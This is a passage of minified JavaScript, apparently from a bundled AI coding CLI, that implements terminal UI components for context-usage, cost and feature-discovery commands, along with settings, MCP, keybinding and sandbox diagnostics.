H;if(K[3]!==q)H=Me.createElement(Me.Fragment,null,q),K[3]=q,K[4]=H;else H=K[4];return H}function mu2(A){let K=A.indexOf(YGK);if(K===-1)return A;let q=K+YGK.length,Y=A.indexOf(Bu2,q);if(Y===-1)return A;return A.slice(q,Y)}function gu2(A){return new Promise(async(K)=>{let q="",Y=new xu2;Y.on("data",(w)=>{q+=w.toString()}),await(await M9(Me.createElement(uu2,null,A),{stdout:Y,debug:!0})).waitUntilExit(),await K(mu2(q))})}async function Pe(A){let K=await gu2(A);return AH(K)}var Me,zGK,YGK="\x1B[?2026h",Bu2="\x1B[?2026l";var YdA=k(()=>{cA();mA();bk();Me=o($A(),1),zGK=o($A(),1)});function Kc(A){return A<1000?`${A}`:`${(A/1000).toFixed(1)}k`}function Fu2(A){let{categories:K,totalTokens:q,rawMaxTokens:Y,percentage:z,model:w,memoryFiles:H,mcpTools:J,agents:O,skills:X,messageBreakdown:$}=A,_=`## Context Usage `;_+=`**Model:** ${w} `,_+=`**Tokens:** ${Kc(q)} / ${Kc(Y)} (${z}%) `;let G=K.filter((Z)=>Z.tokens>0&&Z.name!=="Free space"&&Z.name!=="Autocompact buffer");if(G.length>0){_+=`### Estimated usage by category `,_+=`| Category | Tokens | Percentage | `,_+=`|----------|--------|------------| `;for(let D of G){let j=(D.tokens/Y*100).toFixed(1);_+=`| ${D.name} | ${Kc(D.tokens)} | ${j}% | `}let Z=K.find((D)=>D.name==="Free space");if(Z&&Z.tokens>0){let D=(Z.tokens/Y*100).toFixed(1);_+=`| Free space | ${Kc(Z.tokens)} | ${D}% | `}let W=K.find((D)=>D.name==="Autocompact buffer");if(W&&W.tokens>0){let D=(W.tokens/Y*100).toFixed(1);_+=`| Autocompact buffer | ${Kc(W.tokens)} | ${D}% | `}_+=` `}if(J.length>0){_+=`### MCP Tools `,_+=`| Tool | Server | Tokens | `,_+=`|------|--------|--------| `;for(let Z of J)_+=`| ${Z.name} | ${Z.serverName} | ${Kc(Z.tokens)} | `;_+=` `}if(O.length>0){_+=`### Custom Agents `,_+=`| Agent Type | Source | Tokens | `,_+=`|------------|--------|--------| `;for(let Z of O){let W;switch(Z.source){case"projectSettings":W="Project";break;case"userSettings":W="User";break;case"localSettings":W="Local";break;case"flagSettings":W="Flag";break;case"policySettings":W="Policy";break;case"plugin":W="Plugin";break;case"built-in":W="Built-in";break;default:W=String(Z.source)}_+=`| ${Z.agentType} | ${W} | ${Kc(Z.tokens)} | `}_+=` `}if(H.length>0){_+=`### Memory Files `,_+=`| Type | Path | Tokens | `,_+=`|------|------|--------| `;for(let Z of H)_+=`| ${Z.type} | ${Z.path} | ${Kc(Z.tokens)} | `;_+=` `}if(X&&X.tokens>0&&X.skillFrontmatter.length>0){_+=`### Skills `,_+=`| Skill | Source | Tokens | `,_+=`|-------|--------|--------| `;for(let Z of X.skillFrontmatter)_+=`| ${Z.name} | ${YeA(Z.source)} | ${Kc(Z.tokens)} | `;_+=` `}return _}var ym6,wGK,HGK;var JGK=k(()=>{qGK();dUA();YdA();G9A();$8();g2();q6();GJ();ym6=o($A(),1),wGK={name:"context",description:"Visualize current context usage as a colored grid",isEnabled:()=>!b7(),isHidden:!1,type:"local-jsx",userFacingName(){return this.name},async call(A,K){let{messages:q,getAppState:Y,options:{mainLoopModel:z,tools:w}}=K;l7("context");let H=kv(q),{messages:J}=await gd(H),O=process.stdout.columns||80,X=await Y(),$=await fu6(J,z,async()=>X.toolPermissionContext,w,X.agentDefinitions,O,K,void 0,H),_=await Pe(ym6.createElement(KGK,{data:$}));return A(_),null}},HGK={type:"local",name:"context",supportsNonInteractive:!0,description:"Show current context usage",get isHidden(){return!b7()},isEnabled(){return b7()},userFacingName(){return"context"},async call(A,K){let{messages:q,getAppState:Y,options:{mainLoopModel:z,tools:w,agentDefinitions:H}}=K,J=kv(q),{messages:O}=await gd(J),X=await Y(),$=await fu6(O,z,async()=>X.toolPermissionContext,w,H,void 0,K,void 0,J);return{type:"text",value:Fu2($)}}}});var Qu2,OGK;var XGK=k(()=>{Ck();x4();jI();g2();Qu2={type:"local",name:"cost",description:"Show the total cost and duration of the current session",isEnabled:()=>!0,get isHidden(){return Z4()},supportsNonInteractive:!0,async call(){if(l7("cost"),Z4()){let A;if(zf.isUsingOverage)A="You are currently using your overages to power your Claude Code usage. We will automatically switch you back to your subscription rate limits when they reset";else A="You are currently using your subscription to power your Claude Code usage";return{type:"text",value:A}}return{type:"text",value:d46()}},userFacingName(){return"cost"}},OGK=Qu2});var $GK=()=>{};function GGK(A){let K=s(13),{categories:q,stats:Y,onSelect:z}=A,[w,H]=_GK.useState(0),J;if(K[0]!==q||K[1]!==w||K[2]!==z)J=($,_)=>{let G=oa($);if(_.upArrow||$==="k")H((Z)=>Z>0?Z-1:q.length-1);else if(_.downArrow||$==="j")H((Z)=>Z<q.length-1?Z+1:0);else if(_.return){let Z=q[w];if(Z)z(Z.id)}else if(G>="1"&&G<="9"){let Z=parseInt(G,10)-1;if(Z<q.length){H(Z);let W=q[Z];if(W)z(W.id)}}},K[0]=q,K[1]=w,K[2]=z,K[3]=J;else J=K[3];K8(J);let O;if(K[4]!==q||K[5]!==w||K[6]!==Y){let $;if(K[8]!==w||K[9]!==Y)$=(_,G)=>{let Z=G===w,W=Y?.[_.id],D=W?.explored??0,j=W?.total??0,M,P;if(D===0)M=eA.circle,P="inactive";else if(D===j)M=eA.tick,P="success";else M=eA.circleFilled,P="warning";let f=Z?"suggestion":void 0;return Ve.default.createElement(S,{key:_.id,gap:1},Ve.default.createElement(V,{color:f},Z?eA.pointer:" "),Ve.default.createElement(V,{color:P},M),Ve.default.createElement(S,{width:24},Ve.default.createElement(V,{color:f,bold:Z},_.name)),Ve.default.createElement(V,{dimColor:!0},"[",D,"/",j," ",D===j?"completed":D===0?"unexplored":"explored","]"))},K[8]=w,K[9]=Y,K[10]=$;else $=K[10];O=q.map($),K[4]=q,K[5]=w,K[6]=Y,K[7]=O}else O=K[7];let X;if(K[11]!==O)X=Ve.default.createElement(S,{flexDirection:"column"},O),K[11]=O,K[12]=X;else X=K[12];return X}var Ve,_GK;var ZGK=k(()=>{cA();mA();g4();Ve=o($A(),1),_GK=o($A(),1)});function WGK(A){let K=s(22),{feature:q,isUsed:Y,isFocused:z}=A,w=Y?eA.tick:eA.circle,H=Y?"success":"inactive",J=z?"suggestion":void 0,O=z?eA.pointer:" ",X;if(K[0]!==J||K[1]!==O)X=qc.default.createElement(V,{color:J},O),K[0]=J,K[1]=O,K[2]=X;else X=K[2];let $;if(K[3]!==H||K[4]!==w)$=qc.default.createElement(V,{color:H},w),K[3]=H,K[4]=w,K[5]=$;else $=K[5];let _;if(K[6]!==q.name||K[7]!==J||K[8]!==z)_=qc.default.createElement(V,{color:J,bold:z},q.name),K[6]=q.name,K[7]=J,K[8]=z,K[9]=_;else _=K[9];let G;if(K[10]!==X||K[11]!==$||K[12]!==_)G=qc.default.createElement(S,{gap:1},X,$,_),K[10]=X,K[11]=$,K[12]=_,K[13]=G;else G=K[13];let Z;if(K[14]!==q.description||K[15]!==q.tryItPrompt||K[16]!==z||K[17]!==Y)Z=z&&qc.default.createElement(S,{flexDirection:"column",marginLeft:4},qc.default.createElement(V,{dimColor:!0},q.description),!Y&&q.tryItPrompt&&qc.default.createElement(V,{color:"warning",dimColor:!0},"Try it: ",q.tryItPrompt)),K[14]=q.description,K[15]=q.tryItPrompt,K[16]=z,K[17]=Y,K[18]=Z;else Z=K[18];let W;if(K[19]!==G||K[20]!==Z)W=qc.default.createElement(S,{flexDirection:"column"},G,Z),K[19]=G,K[20]=Z,K[21]=W;else W=K[21];return W}var qc;var DGK=k(()=>{cA();mA();g4();qc=o($A(),1)});function jGK(A){let K=s(39),{categoryId:q,onBack:Y,onClose:z}=A,[w,H]=zdA.useState(0),J;if(K[0]===Symbol.for("react.memo_cache_sentinel"))J={},K[0]=J;else J=K[0];let[O,X]=zdA.useState(J),$=n8(),_;if(K[1]!==q)_=s_4(q),K[1]=q,K[2]=_;else _=K[2];let G=_,Z;if(K[3]!==q)Z=a_4(q),K[3]=q,K[4]=Z;else Z=K[4];let W=Z,D,j;if(K[5]!==W)D=()=>{Promise.all(W.map(Uu2)).then((F)=>X(Object.fromEntries(F)))},j=[W],K[5]=W,K[6]=D,K[7]=j;else D=K[6],j=K[7];zdA.useEffect(D,j);let M;if(K[8]===Symbol.for("react.memo_cache_sentinel"))M={context:"Confirmation"},K[8]=M;else M=K[8];J6("confirm:no",z,M);let P;if(K[9]!==W.length||K[10]!==Y)P=(F,Q)=>{if(Q.backspace||Q.delete)Y();else if(Q.upArrow||F==="k")H((u)=>u>0?u-1:W.length-1);else if(Q.downArrow||F==="j")H((u)=>u<W.length-1?u+1:0)},K[9]=W.length,K[10]=Y,K[11]=P;else P=K[11];if(K8(P),!G){let F;if(K[12]===Symbol.for("react.memo_cache_sentinel"))F=AZ.default.createElement(V,{color:"error"},"Category not found"),K[12]=F;else F=K[12];return F}let f;if(K[13]===Symbol.for("react.memo_cache_sentinel"))f=AZ.default.createElement(g3,{dividerColor:"suggestion",dividerDimColor:!0}),K[13]=f;else f=K[13];let N;if(K[14]!==G.name)N=AZ.default.createElement(V,{bold:!0,color:"suggestion"},G.name),K[14]=G.name,K[15]=N;else N=K[15];let T;if(K[16]!==G.description)T=AZ.default.createElement(V,{dimColor:!0},G.description),K[16]=G.description,K[17]=T;else T=K[17];let C;if(K[18]!==T||K[19]!==N)C=AZ.default.createElement(S,{flexDirection:"column"},N,T),K[18]=T,K[19]=N,K[20]=C;else C=K[20];let R;if(K[21]!==W||K[22]!==w||K[23]!==O){let F;if(K[25]!==w||K[26]!==O)F=(Q,u)=>AZ.default.createElement(WGK,{key:Q.id,feature:Q,isUsed:O[Q.id]??!1,isFocused:u===w}),K[25]=w,K[26]=O,K[27]=F;else F=K[27];R=W.map(F),K[21]=W,K[22]=w,K[23]=O,K[24]=R}else R=K[24];let x;if(K[28]!==R)x=AZ.default.createElement(S,{flexDirection:"column"},R),K[28]=R,K[29]=x;else x=K[29];let y;if(K[30]!==C||K[31]!==x)y=AZ.default.createElement(S,{flexDirection:"column",paddingX:1,gap:1},C,x),K[30]=C,K[31]=x,K[32]=y;else y=K[32];let B;if(K[33]!==$.keyName||K[34]!==$.pending)B=AZ.default.createElement(S,{paddingX:1},AZ.default.createElement(V,{dimColor:!0,italic:!0},$.pending?AZ.default.createElement(AZ.default.Fragment,null,"Press ",$.keyName," again to exit"):AZ.default.createElement(Y8,null,AZ.default.createElement(M6,{shortcut:"↑/↓",action:"navigate"}),AZ.default.createElement(M6,{shortcut:"Backspace",action:"back"}),AZ.default.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"close"})))),K[33]=$.keyName,K[34]=$.pending,K[35]=B;else B=K[35];let b;if(K[36]!==y||K[37]!==B)b=AZ.default.createElement(S,{flexDirection:"column",paddingBottom:1},f,y,B),K[36]=y,K[37]=B,K[38]=b;else b=K[38];return b}async function Uu2(A){return[A.id,await A.hasBeenUsed()]}var AZ,zdA;var MGK=k(()=>{cA();mA();C8();Iq();j$();nK();q5();Dq();DGK();P31();AZ=o($A(),1),zdA=o($A(),1)});function PGK(A){let K=s(28),{onClose:q}=A,[Y,z]=mw.useState(null),[w,H]=mw.useState(null),J=n8(),O;if(K[0]===Symbol.for("react.memo_cache_sentinel"))O=()=>{e_4().then(H)},K[0]=O;else O=K[0];let X;if(K[1]!==Y)X=[Y],K[1]=Y,K[2]=X;else X=K[2];mw.useEffect(O,X);let $=!Y,_;if(K[3]!==$)_={context:"Confirmation",isActive:$},K[3]=$,K[4]=_;else _=K[4];if(J6("confirm:no",q,_),Y){let R;if(K[5]===Symbol.for("react.memo_cache_sentinel"))R=()=>z(null),K[5]=R;else R=K[5];let x;if(K[6]!==q||K[7]!==Y)x=mw.default.createElement(jGK,{categoryId:Y,onBack:R,onClose:q}),K[6]=q,K[7]=Y,K[8]=x;else x=K[8];return x}let G=w?w.explored/w.total:0,Z;if(K[9]!==w)Z=w?Math.round(w.explored/w.total*100):0,K[9]=w,K[10]=Z;else Z=K[10];let W=Z,D;if(K[11]===Symbol.for("react.memo_cache_sentinel"))D=mw.default.createElement(g3,{dividerColor:"suggestion",dividerDimColor:!0}),K[11]=D;else D=K[11];let j;if(K[12]===Symbol.for("react.memo_cache_sentinel"))j=mw.default.createElement(S,{flexDirection:"column"},mw.default.createElement(V,{bold:!0,color:"suggestion"},"Discover Claude Code"),mw.default.createElement(V,{dimColor:!0},"Explore features and track your progress")),K[12]=j;else j=K[12];let M;if(K[13]!==W||K[14]!==G||K[15]!==w)M=w&&mw.default.createElement(S,{flexDirection:"column",gap:0},mw.default.createElement(V,null,"You've explored"," ",mw.default.createElement(V,{bold:!0,color:"success"},w.explored)," ","of ",w.total," features (",W,"%)"),mw.default.createElement(S,null,mw.default.createElement(KdA,{ratio:G,width:40,fillColor:"success",emptyColor:"inactive"}))),K[13]=W,K[14]=G,K[15]=w,K[16]=M;else M=K[16];let P=w?.byCategory??null,f;if(K[17]!==P)f=mw.default.createElement(GGK,{categories:j31,stats:P,onSelect:z}),K[17]=P,K[18]=f;else f=K[18];let N;if(K[19]!==f||K[20]!==M)N=mw.default.createElement(S,{flexDirection:"column",paddingX:1,gap:1},j,M,f),K[19]=f,K[20]=M,K[21]=N;else N=K[21];let T;if(K[22]!==J.keyName||K[23]!==J.pending)T=mw.default.createElement(S,{paddingX:1},mw.default.createElement(V,{dimColor:!0,italic:!0},J.pending?mw.default.createElement(mw.default.Fragment,null,"Press ",J.keyName," again to exit"):mw.default.createElement(Y8,null,mw.default.createElement(M6,{shortcut:"↑/↓",action:"navigate"}),mw.default.createElement(M6,{shortcut:"Enter",action:"explore"}),mw.default.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"close"})))),K[22]=J.keyName,K[23]=J.pending,K[24]=T;else T=K[24];let C;if(K[25]!==N||K[26]!==T)C=mw.default.createElement(S,{flexDirection:"column",paddingBottom:1},D,N,T),K[25]=N,K[26]=T,K[27]=C;else C=K[27];return C}var mw;var VGK=k(()=>{cA();mA();C8();Iq();j$();Cm6();nK();q5();Dq();ZGK();MGK();P31();g2();mw=o($A(),1)});var Im6,DkJ;var fGK=k(()=>{VGK();g2();Im6=o($A(),1),DkJ={type:"local-jsx",name:"discover",description:"Explore Claude Code features and track your progress",isEnabled:V31,isHidden:!V31(),async call(A){return Im6.createElement(PGK,{onClose:A})},userFacingName(){return"discover"}}});function lPA(){let A=s(1),K;if(A[0]===Symbol.for("react.memo_cache_sentinel"))K=wdA.createElement(V,{color:"permission"},"Press ",wdA.createElement(V,{bold:!0},"Enter")," to continue…"),A[0]=K;else K=A[0];return K}var wdA;var cT1=k(()=>{cA();mA();wdA=o($A(),1)});function iT1(){let A=s(9),{addNotification:K,removeNotification:q}=mK(),[Y,z]=lT1.useState(pu2),w;if(A[0]===Symbol.for("react.memo_cache_sentinel"))w=()=>{let{errors:X}=wv();z(X)},A[0]=w;else w=A[0];lXA(w);let J;if(A[1]!==K||A[2]!==Y.length||A[3]!==q)J=()=>{if(Y.length>0){let X=`Found ${Y.length} invalid settings ${Y.length===1?"file":"files"} · /doctor for details`;K({key:NGK,text:X,color:"warning",priority:"high",timeoutMs:60000})}else q(NGK)},A[1]=K,A[2]=Y.length,A[3]=q,A[4]=J;else J=A[4];let O;if(A[5]!==K||A[6]!==Y||A[7]!==q)O=[Y,K,q],A[5]=K,A[6]=Y,A[7]=q,A[8]=O;else O=A[8];return lT1.useEffect(J,O),Y}function pu2(){let{errors:A}=wv();return A}var lT1,NGK="settings-errors";var Sm6=k(()=>{cA();I8();U31();kz();lT1=o($A(),1)});function TGK(A,K={}){let{showValues:q=!0,hideFunctions:Y=!1,themeName:z="dark",treeCharColors:w={}}=K,H=[],J=new WeakSet;function O(_,G){if(!G)return _;return h8(G,z)(_)}function X(_,G,Z,W=0){if(typeof _==="string"){H.push(G+O(_,w.value));return}if(typeof _!=="object"||_===null){if(q){let j=String(_);H.push(G+O(j,w.value))}return}if(J.has(_)){H.push(G+O("[Circular]",w.value));return}J.add(_);let D=Object.keys(_).filter((j)=>{let M=_[j];if(Y&&typeof M==="function")return!1;return!0});D.forEach((j,M)=>{let P=_[j],f=M===D.length-1,N=W===0&&M===0?"":G,T=f?HdA.lastBranch:HdA.branch,C=O(T,w.treeChar),R=j.trim()===""?"":O(j,w.key),x=N+C+(R?" "+R:""),y=j.trim()!=="";if(P&&typeof P==="object"&&J.has(P)){let B=O("[Circular]",w.value);H.push(x+(y?": ":x?" ":"")+B)}else if(P&&typeof P==="object"&&!Array.isArray(P)){H.push(x);let B=f?HdA.empty:HdA.line,b=O(B,w.treeChar),F=N+b+" ";X(P,F,f,W+1)}else if(Array.isArray(P))H.push(x+(y?": ":x?" ":"")+"[Array("+P.length+")]");else if(q){let B=typeof P==="function"?"[Function]":String(P),b=O(B,w.value);x+=(y?": ":x?" ":"")+b,H.push(x)}else H.push(x)})}let $=Object.keys(A);if($.length===0)return O("(empty)",w.value);if($.length===1&&$[0]!==void 0&&$[0].trim()===""&&typeof A[$[0]]==="string"){let _=$[0],G=O(HdA.lastBranch,w.treeChar),Z=O(A[_],w.value);return G+" "+Z}return X(A,"",!0),H.join(` `)}var HdA;var vGK=k(()=>{g4();mA();HdA={branch:eA.lineUpDownRight,lastBranch:eA.lineUpRight,line:eA.lineVertical,empty:" "}});function du2(A){let K={};return A.forEach((q)=>{if(!q.path){K[""]=q.message;return}let Y=q.path.split("."),z=q.path;if(q.invalidValue!==null&&q.invalidValue!==void 0&&Y.length>0){let w=[];for(let H=0;H<Y.length;H++){let J=Y[H];if(!J)continue;let O=parseInt(J,10);if(!isNaN(O)&&H===Y.length-1){let X;if(typeof q.invalidValue==="string")X=`"${q.invalidValue}"`;else if(q.invalidValue===null)X="null";else if(q.invalidValue===void 0)X="undefined";else X=String(q.invalidValue);w.push(X)}else w.push(J)}z=w.join(".")}VZ8(K,z,q.message,Object)}),K}function nT1(A){let K=s(9),{errors:q}=A,[Y]=I4();if(q.length===0)return null;let z,w,H;if(K[0]!==q||K[1]!==Y){let O=q.reduce(iu2,{}),X=Object.keys(O).sort();z=S,w="column",H=X.map(($)=>{let _=O[$]||[];_.sort(lu2);let G=du2(_),Z=new Map;_.forEach((D)=>{if(D.suggestion||D.docLink){let j=`${D.suggestion||""}|${D.docLink||""}`;if(!Z.has(j))Z.set(j,{suggestion:D.suggestion,docLink:D.docLink})}});let W=TGK(G,{showValues:!0,themeName:Y,treeCharColors:{treeChar:"inactive",key:"text",value:"inactive"}});return k_.createElement(S,{key:$,flexDirection:"column"},k_.createElement(V,null,$),k_.createElement(S,{marginLeft:1},k_.createElement(V,{dimColor:!0},W)),Z.size>0&&k_.createElement(S,{flexDirection:"column",marginTop:1},Array.from(Z.values()).map(cu2)))}),K[0]=q,K[1]=Y,K[2]=z,K[3]=w,K[4]=H}else z=K[2],w=K[3],H=K[4];let J;if(K[5]!==z||K[6]!==w||K[7]!==H)J=k_.createElement(z,{flexDirection:w},H),K[5]=z,K[6]=w,K[7]=H,K[8]=J;else J=K[8];return J}function cu2(A,K){return k_.createElement(S,{key:`suggestion-pair-${K}`,flexDirection:"column",marginBottom:1},A.suggestion&&k_.createElement(V,{dimColor:!0,wrap:"wrap"},A.suggestion),A.docLink&&k_.createElement(V,{dimColor:!0,wrap:"wrap"},"Learn more: ",A.docLink))}function lu2(A,K){if(!A.path&&K.path)return-1;if(A.path&&!K.path)return 1;return(A.path||"").localeCompare(K.path||"")}function iu2(A,K){let q=K.file||"(file not specified)";if(!A[q])A[q]=[];return A[q].push(K),A}var k_;var hm6=k(()=>{cA();mA();fZ8();vGK();k_=o($A(),1)});function nu2(A){let K=s(26),{scope:q,parsingErrors:Y,warnings:z}=A,w=Y.length>0,H=z.length>0;if(!w&&!H)return null;let J;if(K[0]!==w||K[1]!==H)J=(w||H)&&tH.default.createElement(V,{color:w?"error":"warning"},"[",w?"Failed to parse":"Contains warnings","]"," "),K[0]=w,K[1]=H,K[2]=J;else J=K[2];let O;if(K[3]!==q)O=BBA(q),K[3]=q,K[4]=O;else O=K[4];let X;if(K[5]!==O)X=tH.default.createElement(V,null,O),K[5]=O,K[6]=X;else X=K[6];let $;if(K[7]!==J||K[8]!==X)$=tH.default.createElement(S,null,J,X),K[7]=J,K[8]=X,K[9]=$;else $=K[9];let _;if(K[10]===Symbol.for("react.memo_cache_sentinel"))_=tH.default.createElement(V,{dimColor:!0},"Location: "),K[10]=_;else _=K[10];let G;if(K[11]!==q)G=iD(q),K[11]=q,K[12]=G;else G=K[12];let Z;if(K[13]!==G)Z=tH.default.createElement(S,null,_,tH.default.createElement(V,{dimColor:!0},G)),K[13]=G,K[14]=Z;else Z=K[14];let W;if(K[15]!==Y)W=Y.map(ou2),K[15]=Y,K[16]=W;else W=K[16];let D;if(K[17]!==z)D=z.map(ru2),K[17]=z,K[18]=D;else D=K[18];let j;if(K[19]!==W||K[20]!==D)j=tH.default.createElement(S,{marginLeft:1,flexDirection:"column"},W,D),K[19]=W,K[20]=D,K[21]=j;else j=K[21];let M;if(K[22]!==j||K[23]!==$||K[24]!==Z)M=tH.default.createElement(S,{flexDirection:"column",marginTop:1},$,Z,j),K[22]=j,K[23]=$,K[24]=Z,K[25]=M;else M=K[25];return M}function ru2(A,K){let q=A.mcpErrorMetadata?.serverName;return tH.default.createElement(S,{key:`warning-${K}`},tH.default.createElement(V,null,tH.default.createElement(V,{dimColor:!0},"└ "),tH.default.createElement(V,{color:"warning"},"[Warning]"),tH.default.createElement(V,{dimColor:!0}," ",q&&`[${q}] `,A.path&&A.path!==""?`${A.path}: `:"",A.message)))}function ou2(A,K){let q=A.mcpErrorMetadata?.serverName;return tH.default.createElement(S,{key:`error-${K}`},tH.default.createElement(V,null,tH.default.createElement(V,{dimColor:!0},"└ "),tH.default.createElement(V,{color:"error"},"[Error]"),tH.default.createElement(V,{dimColor:!0}," ",q&&`[${q}] `,A.path&&A.path!==""?`${A.path}: `:"",A.message)))}function oT1(){let A=s(2),K,q;if(A[0]===Symbol.for("react.memo_cache_sentinel")){q=Symbol.for("react.early_return_sentinel");A:{let Y=JX("user"),z=JX("project"),w=JX("local"),H=JX("enterprise"),J=[{scope:"user",config:Y},{scope:"project",config:z},{scope:"local",config:w},{scope:"enterprise",config:H}],O=J.some(tu2),X=J.some(su2);if(!O&&!X){q=null;break A}K=tH.default.createElement(S,{flexDirection:"column",marginTop:1,marginBottom:1},tH.default.createElement(V,{bold:!0},"MCP Config Diagnostics"),tH.default.createElement(S,{marginTop:1},tH.default.createElement(V,{dimColor:!0},"For help configuring MCP servers, see:"," ",tH.default.createElement(X7,{url:"https://code.claude.com/docs/en/mcp"},"https://code.claude.com/docs/en/mcp"))),J.map(au2))}A[0]=K,A[1]=q}else K=A[0],q=A[1];if(q!==Symbol.for("react.early_return_sentinel"))return q;return K}function au2(A){let{scope:K,config:q}=A;return tH.default.createElement(nu2,{key:K,scope:K,parsingErrors:rT1(q.errors,"fatal"),warnings:rT1(q.errors,"warning")})}function su2(A){let{config:K}=A;return rT1(K.errors,"warning").length>0}function tu2(A){let{config:K}=A;return rT1(K.errors,"fatal").length>0}function rT1(A,K){return A.filter((q)=>q.mcpErrorMetadata?.severity===K)}var tH;var bm6=k(()=>{cA();mA();iM();W$();mA();tH=o($A(),1)});function EGK(){let A=s(2);if(!gk())return null;let K,q;if(A[0]===Symbol.for("react.memo_cache_sentinel")){q=Symbol.for("react.early_return_sentinel");A:{let Y=r_4();if(Y.length===0){q=null;break A}let z=Y.filter(qB2),w=Y.filter(KB2);K=TX.default.createElement(S,{flexDirection:"column",marginTop:1,marginBottom:1},TX.default.createElement(V,{bold:!0,color:z.length>0?"error":"warning"},"Keybinding Configuration Issues"),TX.default.createElement(S,null,TX.default.createElement(V,{dimColor:!0},"Location: "),TX.default.createElement(V,{dimColor:!0},k4A())),TX.default.createElement(S,{marginLeft:1,flexDirection:"column",marginTop:1},z.map(AB2),w.map(eu2)))}A[0]=K,A[1]=q}else K=A[0],q=A[1];if(q!==Symbol.for("react.early_return_sentinel"))return q;return K}function eu2(A,K){return TX.default.createElement(S,{key:`warning-${K}`,flexDirection:"column"},TX.default.createElement(S,null,TX.default.createElement(V,{dimColor:!0},"└ "),TX.default.createElement(V,{color:"warning"},"[Warning]"),TX.default.createElement(V,{dimColor:!0}," ",A.message)),A.suggestion&&TX.default.createElement(S,{marginLeft:3},TX.default.createElement(V,{dimColor:!0},"→ ",A.suggestion)))}function AB2(A,K){return TX.default.createElement(S,{key:`error-${K}`,flexDirection:"column"},TX.default.createElement(S,null,TX.default.createElement(V,{dimColor:!0},"└ "),TX.default.createElement(V,{color:"error"},"[Error]"),TX.default.createElement(V,{dimColor:!0}," ",A.message)),A.suggestion&&TX.default.createElement(S,{marginLeft:3},TX.default.createElement(V,{dimColor:!0},"→ ",A.suggestion)))}function KB2(A){return A.severity==="warning"}function qB2(A){return A.severity==="error"}var TX;var kGK=k(()=>{cA();mA();jr();TX=o($A(),1)});function CGK(){return Mr6().map((K)=>({name:K.name,value:process.env[K.name],...K.validate(process.env[K.name])})).filter((K)=>K.status!=="valid")}var LGK=k(()=>{q6()});function JdA(A){if(!A)return 0;return A.activeAgents.filter((K)=>K.source!=="built-in").reduce((K,q)=>{let Y=`${q.agentType}: ${q.whenToUse}`;return K+d2(Y)},0)}var B9A=15000;var xm6=k(()=>{dT()});async function YB2(){let A=k7A();if(A.length===0)return null;let K=A.sort((Y,z)=>z.content.length-Y.content.length).map((Y)=>`${Y.path}: ${Y.content.length.toLocaleString()} chars`);return{type:"claudemd_files",severity:"warning",message:A.length===1?`Large CLAUDE.md file detected (${A[0].content.length.toLocaleString()} chars > ${wU.toLocaleString()})`:`${A.length} large CLAUDE.md files detected (each > ${wU.toLocaleString()} chars)`,details:K,currentValue:A.length,threshold:wU}}async function zB2(A){if(!A)return null;let K=JdA(A);if(K<=B9A)return null;let q=A.activeAgents.filter((z)=>z.source!=="built-in").map((z)=>{let w=`${z.agentType}: ${z.whenToUse}`;return{name:z.agentType,tokens:d2(w)}}).sort((z,w)=>w.tokens-z.tokens),Y=q.slice(0,5).map((z)=>`${z.name}: ~${z.tokens.toLocaleString()} tokens`);if(q.length>5)Y.push(`(${q.length-5} more custom agents)`);return{type:"agent_descriptions",severity:"warning",message:`Large agent descriptions (~${K.toLocaleString()} tokens > ${B9A.toLocaleString()})`,details:Y,currentValue:K,threshold:B9A}}async function wB2(A,K,q){let Y=A.filter((z)=>z.isMcp);if(Y.length===0)return null;if(sH())return null;try{let z=J3(),{mcpToolTokens:w,mcpToolDetails:H}=await pUA(A,K,q,z);if(w<=iPA)return null;let J=new Map;for(let $ of H){let G=$.name.split("__")[1]||"unknown",Z=J.get(G)||{count:0,tokens:0};J.set(G,{count:Z.count+1,tokens:Z.tokens+$.tokens})}let O=Array.from(J.entries()).sort(($,_)=>_[1].tokens-$[1].tokens),X=O.slice(0,5).map(([$,_])=>`${$}: ${_.count} tools (~${_.tokens.toLocaleString()} tokens)`);if(O.length>5)X.push(`(${O.length-5} more servers)`);return{type:"mcp_tools",severity:"warning",message:`Large MCP tools context (~${w.toLocaleString()} tokens > ${iPA.toLocaleString()})`,details:X,currentValue:w,threshold:iPA}}catch(z){let w=Y.reduce((H,J)=>{let O=(J.name?.length||0)+J.description.length;return H+d2(O.toString())},0);if(w<=iPA)return null;return{type:"mcp_tools",severity:"warning",message:`Large MCP tools context (~${w.toLocaleString()} tokens estimated > ${iPA.toLocaleString()})`,details:[`${Y.length} MCP tools detected (token count estimated)`],currentValue:w,threshold:iPA}}}async function HB2(A){let K=await A(),q=S8.isSandboxingEnabled()&&S8.isAutoAllowBashIfSandboxedEnabled(),Y=DWA(K,{sandboxAutoAllowEnabled:q});if(Y.length===0)return null;let z=Y.flatMap((w)=>[`${I9(w.rule.ruleValue)}: ${w.reason}`,` Fix: ${w.fix}`]);return{type:"unreachable_rules",severity:"warning",message:`${Y.length} unreachable permission rule${Y.length===1?"":"s"} detected`,details:z,currentValue:Y.length,threshold:0}}async function RGK(A,K,q){let[Y,z,w,H]=await Promise.all([YB2(),zB2(K),wB2(A,q,K),HB2(q)]);return{claudeMdWarning:Y,agentWarning:z,mcpWarning:w,unreachableRulesWarning:H}}var iPA=25000;var yGK=k(()=>{gZ();xm6();dUA();dT();IG();K7();p_1();SH();S2()});function IGK(){let A=s(2);if(!S8.isSupportedPlatform())return null;if(!S8.isSandboxEnabledInSettings())return null;let K,q;if(A[0]===Symbol.for("react.memo_cache_sentinel")){q=Symbol.for("react.early_return_sentinel");A:{let Y=S8.checkDependencies(),z=Y.errors.length>0,w=Y.warnings.length>0;if(!z&&!w){q=null;break A}K=KZ.default.createElement(S,{flexDirection:"column"},KZ.default.createElement(V,{bold:!0},"Sandbox"),KZ.default.createElement(V,null,"└ Status: ",KZ.default.createElement(V,{color:z?"error":"warning"},z?"Missing dependencies":"Available (with warnings)")),Y.errors.map(OB2),Y.warnings.map(JB2),z&&KZ.default.createElement(V,{dimColor:!0},"└ Run /sandbox for install instructions"))}A[0]=K,A[1]=q}else K=A[0],q=A[1];if(q!==Symbol.for("react.early_return_sentinel"))return q;return K}function JB2(A,K){return KZ.default.createElement(V,{key:K,color:"warning"},"└ ",A)}function OB2(A,K){return KZ.default.createElement(V,{key:K,color:"error"},"└ ",A)}var KZ;var SGK=k(()=>{cA();mA();SH();KZ=o($A(),1)});import{join as um6}from"path";function XB2(A){let K=s(8),{promise:q}=A,Y=l8.use(q);if(!Y.latest){let 